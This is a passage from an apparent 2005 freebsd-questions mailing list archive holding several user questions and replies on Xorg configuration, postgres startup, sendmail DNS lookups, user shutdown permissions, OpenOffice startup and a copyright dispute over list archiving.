In-Reply-To: <675747489.20050206154301@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502061420.24415.krinklyfig@spymac.com> cc: Anthony Atkielski Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:20:34 -0000 On Sunday 06 February 2005 06:43 am, Anthony Atkielski wrote: > The requirements of contract law are not waived simply because they are > inconvenient for one party. A contract, once concluded, remains binding > even if one party finds it troublesome to live up to its obligations > under the contract. What contract is implied here? > Not to people whose ability to pay rent and buy groceries depends on > being able to control the use of their intellectual property. Is this what has happened here? Has the OP's ability to pay rent been damaged by her archived post? If the OP's copyright to her post is infringed by archiving that post, then what, exactly, are the damages? > TM> Correct, I should have said 'and Fair Use' as Fair Use was developed > TM> separately from the First Amendment. > > Yes. And it's just a quirk of copyright law, not a Constitutional > right. No, Fair Use is more of an aspect of copyright law. No "quirk" is going to affect the nature of copyright to that extent. > TM> If she is asking Google to remove the links, then correct. But she > TM> wasn't, she was asking the FreeBSD list maintainers to remove it > TM> from their archive. > > That is her prerogative, unless she had explicitly agreed to the > archiving of her posts. There's a big difference between ephemeral and > durable forms of distribution. Granting permission to use material that > will be seen temporarily and then will disappear is very different from > granting permission to use material in perpetuity. The former does not > imply the latter. > > Furthermore, a public archive exposes her posts to an audience well > beyond that subscribed to the mailing list, and when she subscribes she > only consents implicitly to distribution to the latter, not the former > (and then only temporarily). How do you suggest this list and all others like it deal with this matter, in practical terms? Don't suggest hiring lawyers, as that's hardly practical. What are the practical effects of a lawsuit? What damages would be sought, and under what pretense? - jt From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:25:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B5DEC16A4CE for ; Sun, 6 Feb 2005 22:25:07 +0000 (GMT) Received: from sage.thought.org (dsl231-043-140.sea1.dsl.speakeasy.net [216.231.43.140]) by mx1.FreeBSD.org (Postfix) with ESMTP id 190FA43D4C for ; Sun, 6 Feb 2005 22:25:05 +0000 (GMT) (envelope-from kline@tao.thought.org) Received: from thought.org (tao [10.0.0.247]) by sage.thought.org (8.13.1/8.12.10) with ESMTP id j16MP0Wl009721; Sun, 6 Feb 2005 14:25:01 -0800 (PST) (envelope-from kline@tao.thought.org) Received: from tao.thought.org (localhost [127.0.0.1]) by thought.org (8.12.11/8.12.11) with ESMTP id j16MP25s085443; Sun, 6 Feb 2005 14:25:02 -0800 (PST) (envelope-from kline@tao.thought.org) Received: (from kline@localhost) by tao.thought.org (8.12.11/8.12.11/Submit) id j16MP1IN085442; Sun, 6 Feb 2005 14:25:01 -0800 (PST) (envelope-from kline) Date: Sun, 6 Feb 2005 14:25:01 -0800 From: Gary Kline To: Dejan Lesjak Message-ID: <20050206222501.GA85407@thought.org> References: <200502060642.23983.dejan.lesjak@ijs.si> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200502060642.23983.dejan.lesjak@ijs.si> X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: Observing 18 years of service to the Unix community User-Agent: Mutt/1.5.6i cc: Gary Kline cc: freebsd-questions@freebsd.org Subject: Re: how to configure Xorg to run at 1280x1024 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:25:07 -0000 On Sun, Feb 06, 2005 at 06:42:23AM +0100, Dejan Lesjak wrote: > Gary Kline wrote: > > > People, > > > > One of my larger servers has 5.3 and Xorg; I can't find the > > right configuration setting for the display; so it runs at > > its maximum: 1600x1200. This would be fine except that the > > apps shake with tiny wavy lines. The driver may be pushing > > things to their limit. > > > > I've tried X -configure and Xorg -conf. Somehow or other > > I've generated an xorg.conf in /etc/X11, but no luck in > > changing the resolution. The closest I've come to having > > things work with xorg.conf and startx is to see a blank/grey > > screen--at 1600x1200. I have ctwm set up in /root and > > /home/kline. > > > > Modifying the Screen Section messes things up for some > > reason. I finally *do* have xorg working with /etc/X11/xorg.conf > > but only with the following commented: > > Try putting something like this: > Option "PreferredMode" "1280x1024" > in Section "Monitor". I'll try the Option; thanks. > What do you mean by "messes things up" with the modified Screen Section? Do > you get errors? Do note that you can't have more than one Screen section with > same Identifier string. > > IIRC, when I tried xdm with that (commented) Screen Section, I would get to thr grey screen; things hung for several seconds, then xdm would try again. (Guessing). The screen would go black, then light up again with the grey stippled bg. Infinite loop. (??) gary -- Gary Kline kline@thought.org www.thought.org Public service Unix From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:25:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D0EF816A4D2 for ; Sun, 6 Feb 2005 22:25:23 +0000 (GMT) Received: from 9.hellooperator.net (cpc3-cdif2-3-0-cust202.cdif.cable.ntl.com [81.103.32.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id 57CA143D1D for ; Sun, 6 Feb 2005 22:25:23 +0000 (GMT) (envelope-from rasputnik@hellooperator.net) Received: from [10.4.0.5] (helo=eris.tenfour) by 9.hellooperator.net with esmtp (Exim 4.43) id 1CxuqG-0006ZB-PV for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 22:25:22 +0000 Received: from rasputnik by eris.tenfour with local (Exim 4.44 (FreeBSD)) id 1CxuqG-000EO2-Jw for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 22:25:20 +0000 Date: Sun, 6 Feb 2005 22:25:20 +0000 From: Dick Davies To: FreeBSD Questions Message-ID: <20050206222520.GC473@eris.tenfour> References: <20050206213730.GB473@eris.tenfour> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050206213730.GB473@eris.tenfour> User-Agent: Mutt/1.4.2.1i Subject: Re: postgres 8 init script problem? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Dick Davies List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:25:23 -0000 * Dick Davies [0237 21:37]: > Anyone else having problems starting postgres 8.0.1 (from ports) > on RELENG_5? > > It seems to start alright, but clankily: > > root$ /usr/local/etc/rc.d/010.pgsql.sh start > > could not start postmaster > root$ /usr/local/etc/rc.d/010.pgsql.sh status > pg_ctl: postmaster is running (PID: 54846) > /usr/local/bin/postgres -D /usr/local/pgsql/data Ah, found it. I had PGHOST set in roots environment (after 'su'ing rather than 'su -'ing). unset PG_HOST gets it running in no time. (Looks like a bug in 010.pgsql.sh, though. roots environment shouldn't get picked up, surely?) -- 'A little rudeness and disrespect can elevate a meaningless interaction into a battle of wills and add drama to an otherwise dull day.' -- Calvin discovers Usenet Rasputin :: Jack of All Trades - Master of Nuns From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:29:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B7D7116A4CE for ; Sun, 6 Feb 2005 22:29:26 +0000 (GMT) Received: from mta2.srv.hcvlny.cv.net (mta2.srv.hcvlny.cv.net [167.206.5.68]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7044143D41 for ; Sun, 6 Feb 2005 22:29:26 +0000 (GMT) (envelope-from bsdnooby@optonline.net) Received: from [192.168.0.26] (ool-43532b7b.dyn.optonline.net [67.83.43.123]) by mta2.srv.hcvlny.cv.net (iPlanet Messaging Server 5.2 HotFix 1.25 (built Mar 3 2004)) with ESMTP id <0IBI00HT6H51Z7@mta2.srv.hcvlny.cv.net> for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 17:29:25 -0500 (EST) Received: from 127.0.0.1 (AVG SMTP 7.0.300 [265.8.5]); Sun, 06 Feb 2005 17:29:24 -0500 Date: Sun, 06 Feb 2005 17:29:23 -0500 From: bsdnooby To: freebsd-questions@freebsd.org Message-id: <42069A43.50506@optonline.net> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en User-Agent: Mozilla Thunderbird 0.9 (Windows/20041103) Subject: HP Pavillion zv5445us shuts down during install of 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:29:26 -0000 Right after the screen when you can choose to disable ACPI or to boot in SafeMode (both of which I tried), after making a selection - it shutsdown. I'm trying to install 5.3 from both floppies and CD1. I'm dualbooting Win XP Pro using PartitionMagic8/BootMagic8 - but I do not think that is related. My other Toshiba laptop is using a similar configuration, and works fine. I saw in Google where at least 1 other person had this problem, but there was no resolution. This is a new laptop, P4-3Ghz, 512MB, 100GB drive, LAN & Wifi, etc. Anyone have success with the newer HP pavillions? thx -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.300 / Virus Database: 265.8.5 - Release Date: 2/3/2005 From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:33:50 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8631216A4CE for ; Sun, 6 Feb 2005 22:33:50 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.196]) by mx1.FreeBSD.org (Postfix) with ESMTP id A1ACA43D2D for ; Sun, 6 Feb 2005 22:33:47 +0000 (GMT) (envelope-from jon.drews@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so656379wri for ; Sun, 06 Feb 2005 14:33:40 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=jN4yjE1lQs5+7ltZaOGiCg3Acp6XhI0v4/Vr37ldgfjUtGV0Evzweixmizm1Aby1IDaBYBThytG8IO2izR7hK3TVeRdSeCK6/R/PuwmJ/MytKE0eA5gg3S/BfSMBdnQrR/AbAHDrZcezxtV9BXG+czxPXob8oXeoAvOyWGIZGLg= Received: by 10.54.48.35 with SMTP id v35mr98006wrv; Sun, 06 Feb 2005 14:33:40 -0800 (PST) Received: by 10.54.54.8 with HTTP; Sun, 6 Feb 2005 14:33:40 -0800 (PST) Message-ID: <8cb27cbf05020614334a3978cd@mail.gmail.com> Date: Sun, 6 Feb 2005 15:33:40 -0700 From: Jon Drews To: FreeBSD Questions Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: What does sbwait mean in top ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Jon Drews List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:33:50 -0000 Hi: What does sbwait mean in top? Is it related to a sysctl setting? I have looked in the man page for top, at William LeFebvres site ( http://www.groupsys.com/top ), in Evi Nemeth's "UNIX System Administration Handbook" and Googled in general. Does anyone know of a URL that gives an explanation of sbwait and for that matter semwait too. Kind regards, Jon From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:34:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 11BFE16A4CE for ; Sun, 6 Feb 2005 22:34:30 +0000 (GMT) Received: from sage.thought.org (dsl231-043-140.sea1.dsl.speakeasy.net [216.231.43.140]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9482F43D2F for ; Sun, 6 Feb 2005 22:34:29 +0000 (GMT) (envelope-from kline@tao.thought.org) Received: from thought.org (tao [10.0.0.247]) by sage.thought.org (8.13.1/8.12.10) with ESMTP id j16MYQaa009752; Sun, 6 Feb 2005 14:34:26 -0800 (PST) (envelope-from kline@tao.thought.org) Received: from tao.thought.org (localhost [127.0.0.1]) by thought.org (8.12.11/8.12.11) with ESMTP id j16MYRdu085492; Sun, 6 Feb 2005 14:34:27 -0800 (PST) (envelope-from kline@tao.thought.org) Received: (from kline@localhost) by tao.thought.org (8.12.11/8.12.11/Submit) id j16MYRFH085491; Sun, 6 Feb 2005 14:34:27 -0800 (PST) (envelope-from kline) Date: Sun, 6 Feb 2005 14:34:27 -0800 From: Gary Kline To: Danie Du Toit Message-ID: <20050206223427.GB85407@thought.org> References: <200502060642.23983.dejan.lesjak@ijs.si> <8af8258905020609375c9c4e11@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <8af8258905020609375c9c4e11@mail.gmail.com> X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: Observing 18 years of service to the Unix community User-Agent: Mutt/1.5.6i cc: Dejan Lesjak cc: freebsd-questions@freebsd.org cc: Gary Kline Subject: Re: how to configure Xorg to run at 1280x1024 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:34:30 -0000 On Sun, Feb 06, 2005 at 12:37:01PM -0500, Danie Du Toit wrote: > You have two SubSection "display"'s with depth 8 - try remove the second one : > > SubSection "Display" > Viewport 0 0 > Depth 8 > EndSubSection > > Will try; I'm assuming that you mean i should *un*-comment that Screen section, yes/no? gary PS: FWIW, *this* server, "tao", where I live most of the time, is still at 4.10. When/(if) I ever have xorg running at 1280/1024 I'll upgrade. Lucky I testede first!!! -- Gary Kline kline@thought.org www.thought.org Public service Unix From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:39:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B0B6816A4CE for ; Sun, 6 Feb 2005 22:39:38 +0000 (GMT) Received: from debian.akroteq.com (rdbck-static-72.palmer.mtaonline.net [12.17.141.72]) by mx1.FreeBSD.org (Postfix) with ESMTP id 446C143D49 for ; Sun, 6 Feb 2005 22:39:38 +0000 (GMT) (envelope-from andy@firman.us) Received: from andy by debian.akroteq.com with local (Exim 4.34) id 1Cxv43-0003zL-QQ for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 13:39:35 -0900 Date: Sun, 6 Feb 2005 13:39:35 -0900 From: Andy Firman To: freebsd-questions@freebsd.org Message-ID: <20050206223935.GB13829@akroteq.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.6+20040907i Subject: Problems logging w/ IPF on FreeBSD 5.3-STABLE X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Andy Firman List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:39:38 -0000 Hi, This question: http://lists.freebsd.org/pipermail/freebsd-questions/2004-November/066572.html appears to have no answers/responses on this list. I am experiencing the exact same problem. Since I am just learning about FreeBSD firewalls, it could be a misconfiguration error on my part. But I did the exact same thing as the other poster did. Is this a bug or did we do something wrong? Thanks. From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:41:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4254016A4CE for ; Sun, 6 Feb 2005 22:41:51 +0000 (GMT) Received: from lakermmtao03.cox.net (lakermmtao03.cox.net [68.230.240.36]) by mx1.FreeBSD.org (Postfix) with ESMTP id B535243D41 for ; Sun, 6 Feb 2005 22:41:50 +0000 (GMT) (envelope-from nedsmailbox2@cox.net) Received: from ip68-13-42-191.om.om.cox.net ([68.13.42.191]) by lakermmtao03.cox.net (InterMail vM.6.01.04.00 201-2131-117-20041022) with ESMTP <20050206224144.GIER951.lakermmtao03.cox.net@ip68-13-42-191.om.om.cox.net> for ; Sun, 6 Feb 2005 17:41:44 -0500 From: Ned Harrison To: freebsd-questions@freebsd.org Date: Sun, 6 Feb 2005 16:46:26 +0000 User-Agent: KMail/1.7.2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502061646.27199.nedsmailbox2@cox.net> Subject: Very general shutdown question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:41:51 -0000 I run FreeBSD 5.3 on my home PC in a stand alone machine as a desktop. Is it possible to set it up so an ordinary user can shut the system? I've created a couple of accounts that are not in the wheel group so I can give friends and house guests the chance to play on a non-Microsoft system. I don't want to give them root access just to shut it down. None of the books which I have discuss using FreeBSD in this way. They are mostly geared to setting up networks running it for businesses. Areas where one may not want an ordinary user to be able to shutdown the machine. However, I prefer having the machine off when I'm not on it. If it's not possible that fine I can continue working around it like I do now. Thank you Ned From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:42:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8B88716A4CE for ; Sun, 6 Feb 2005 22:42:12 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 09D9143D1F for ; Sun, 6 Feb 2005 22:42:12 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j16Mg9j01142; Sun, 6 Feb 2005 14:42:09 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Hexren" , Date: Sun, 6 Feb 2005 14:42:08 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <4939268274.20050206224606@hexren.net> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal Subject: RE: Sendmail host lookup problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:42:12 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Hexren > Sent: Sunday, February 06, 2005 1:46 PM > To: freebsd-questions@freebsd.org > Subject: Sendmail host lookup problem > > > I have a LAN in the 192.168.0 range. I am trying to send mail from > 192.168.0.78 (gc-infra.steenbuck.net) to 192.168.0.29 > (bettchen.steenbuck.net). > This leeds to 550 errors. "Host unknown (Name server: > bettchen.steenbuck.net: host not found)" > > 192.168.0.29 is also acting as my DNS Server. Both machines > have correct (or so I hope) entries in the nameserver. Either you don't have correct entries in the nameserver, or your /etc/resolv.conf on gc-infra is not using 192.168.0.29 as it's nameserver. What is the output of nslookup on gc-infra when you key in the bettchen.steenbuck.net name? What is it when you issue a "set type=mx" at the nslookup prompt followed by the bettchen.steenbuck.net name? What is it when you key in the IP number 192.168.0.29? Ted From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:48:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A45D716A4CE for ; Sun, 6 Feb 2005 22:48:41 +0000 (GMT) Received: from helium.webpack.hosteurope.de (helium.webpack.hosteurope.de [217.115.142.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 25F3C43D3F for ; Sun, 6 Feb 2005 22:48:41 +0000 (GMT) (envelope-from me@hexren.net) Received: by helium.webpack.hosteurope.de running Exim 4.34 using asmtp helo=hexren.steenbuck.net) id 1CxvCr-0003q9-Ar; Sun, 06 Feb 2005 23:48:41 +0100 Date: Sun, 6 Feb 2005 23:48:39 +0100 From: Hexren X-Mailer: The Bat! (v1.62i) Business X-Priority: 3 (Normal) Message-ID: <6843020820.20050206234839@hexren.net> To: "Ted Mittelstaedt" In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re[2]: Sendmail host lookup problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Hexren List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:48:41 -0000 >> -----Original Message----- >> From: owner-freebsd-questions@freebsd.org >> [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Hexren >> Sent: Sunday, February 06, 2005 1:46 PM >> To: freebsd-questions@freebsd.org >> Subject: Sendmail host lookup problem >> >> >> I have a LAN in the 192.168.0 range. I am trying to send mail from >> 192.168.0.78 (gc-infra.steenbuck.net) to 192.168.0.29 >> (bettchen.steenbuck.net). >> This leeds to 550 errors. "Host unknown (Name server: >> bettchen.steenbuck.net: host not found)" >> >> 192.168.0.29 is also acting as my DNS Server. Both machines >> have correct (or so I hope) entries in the nameserver. TM> Either you don't have correct entries in the nameserver, or your TM> /etc/resolv.conf on gc-infra is not using 192.168.0.29 as it's TM> nameserver. TM> What is the output of nslookup on gc-infra when you key in TM> the bettchen.steenbuck.net name? What is it when you issue TM> a "set type=mx" at the nslookup prompt followed by the TM> bettchen.steenbuck.net name? What is it when you key in the TM> IP number 192.168.0.29? TM> Ted TM> _______________________________________________ TM> freebsd-questions@freebsd.org mailing list TM> http://lists.freebsd.org/mailman/listinfo/freebsd-questions TM> To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" --------------------------------------------- [gc-infra:~]#nslookup bettchen.steenbuck.net Server: 192.168.0.29 Address: 192.168.0.29#53 Name: bettchen.steenbuck.net Address: 192.168.0.29 ----------------- [gc-infra:~]#nslookup > set type=mx > bettchen.steenbuck.net Server: 192.168.0.29 Address: 192.168.0.29#53 bettchen.steenbuck.net mail exchanger = 10 bettchen.steenbuck.net. ----------------- [gc-infra:~]#nslookup 192.168.0.29 Server: 192.168.0.29 Address: 192.168.0.29#53 29.0.168.192.in-addr.arpa name = bettchen.steenbuck.net.0.168.192.in-addr.arpa. ----------------- [gc-infra:~]#cat /etc/resolv.conf search steenbuck.net nameserver 192.168.0.29 ------------------ From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:59:13 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2A49116A4CE for ; Sun, 6 Feb 2005 22:59:13 +0000 (GMT) Received: from lakermmtao12.cox.net (lakermmtao12.cox.net [68.230.240.27]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5D37443D31 for ; Sun, 6 Feb 2005 22:59:12 +0000 (GMT) (envelope-from nedsmailbox2@cox.net) Received: from ip68-13-42-191.om.om.cox.net ([68.13.42.191]) by lakermmtao12.cox.net (InterMail vM.6.01.04.00 201-2131-117-20041022) with ESMTP <20050206225911.BWXV17036.lakermmtao12.cox.net@ip68-13-42-191.om.om.cox.net> for ; Sun, 6 Feb 2005 17:59:11 -0500 From: Ned Harrison To: freebsd-questions@freebsd.org Date: Sun, 6 Feb 2005 17:03:54 +0000 User-Agent: KMail/1.7.2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502061703.55089.nedsmailbox2@cox.net> Subject: Openoffice startup question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:59:13 -0000 I installed openoffice-1.1.4 via using pkg_add on a package pulled down from the FreeBSD web cite. It installed with only two minor warnings regarding out of date packages. Those have been upgraded and pkgdb -F fixed the dependencies. However, the initiall set up instructions don't seam to work. When I type "openoffice", I get "Command not found" for a response. It doesn't matter whether I enter the command as an ordinary user or as root. This is true even when I move to /usr/local/bin where there are several openoffice files. Any suggestions on what to do next would be appreciated. thanks, Ned From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 23:03:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5493916A4CE for ; Sun, 6 Feb 2005 23:03:16 +0000 (GMT) Received: from gizm0.org (gizm0.org [212.114.209.25]) by mx1.FreeBSD.org (Postfix) with ESMTP id CEE4A43D3F for ; Sun, 6 Feb 2005 23:03:15 +0000 (GMT) (envelope-from freebsd@gizm0.org) Received: from localhost (localhost.org [127.0.0.1]) by gizm0.org (Postfix) with ESMTP id A46F617019; Mon, 7 Feb 2005 00:03:13 +0100 (CET) Received: from gizm0.org ([127.0.0.1]) by localhost (gizm0.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 02531-03; Mon, 7 Feb 2005 00:03:10 +0100 (CET) Received: from [192.168.0.16] (DSL01.212.114.237.168.NEFkom.net [212.114.237.168]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by gizm0.org (Postfix) with ESMTP; Mon, 7 Feb 2005 00:03:10 +0100 (CET) Message-ID: <4206A22E.8080902@gizm0.org> Date: Mon, 07 Feb 2005 00:03:10 +0100 From: Steven User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ned Harrison References: <200502061646.27199.nedsmailbox2@cox.net> In-Reply-To: <200502061646.27199.nedsmailbox2@cox.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at gizm0.org cc: freebsd-questions@freebsd.org Subject: Re: Very general shutdown question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 23:03:16 -0000 Hello Ned, you can add the user to the operator group. it is possible to run shutdown then (but not halt etc). You could also create a shutdown user with a login shell pointing to a shutdown script. Kind regards Steven Ned Harrison wrote: >I run FreeBSD 5.3 on my home PC in a stand alone machine as a desktop. Is it >possible to set it up so an ordinary user can shut the system? I've created >a couple of accounts that are not in the wheel group so I can give friends >and house guests the chance to play on a non-Microsoft system. I don't want >to give them root access just to shut it down. > >None of the books which I have discuss using FreeBSD in this way. They are >mostly geared to setting up networks running it for businesses. Areas where >one may not want an ordinary user to be able to shutdown the machine. >However, I prefer having the machine off when I'm not on it. If it's not >possible that fine I can continue working around it like I do now. > >Thank you >Ned >_______________________________________________ >freebsd-questions@freebsd.org mailing list >http://lists.freebsd.org/mailman/listinfo/freebsd-questions >To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > > From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 23:14:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 08A9516A4CE for ; Sun, 6 Feb 2005 23:14:21 +0000 (GMT) Received: from fep2.cogeco.net (smtp.cogeco.net [216.221.81.25]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9D27343D31 for ; Sun, 6 Feb 2005 23:14:20 +0000 (GMT) (envelope-from dataivNOSPAM@noc.peon.net) Received: from miette.king.vangeyn.net (d226-27-84.home.cgocable.net [24.226.27.84]) by fep2.cogeco.net (Postfix) with ESMTP id 80E381644; Sun, 6 Feb 2005 18:14:19 -0500 (EST) Received: from kingdvg (host29.king.vangeyn.net [172.20.3.29]) j16NEFft080652; Sun, 6 Feb 2005 18:14:15 -0500 (EST) (envelope-from dataivNOSPAM@noc.peon.net) Message-ID: <002e01c50ca1$9570e900$1d0314ac@kingdvg> From: "David van Geyn" To: "darren david" , References: <42067263.3040405@3x3x3.org> Date: Sun, 6 Feb 2005 18:14:18 -0500 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Subject: Re: easy VPN config HOWTO? X-BeenThere: 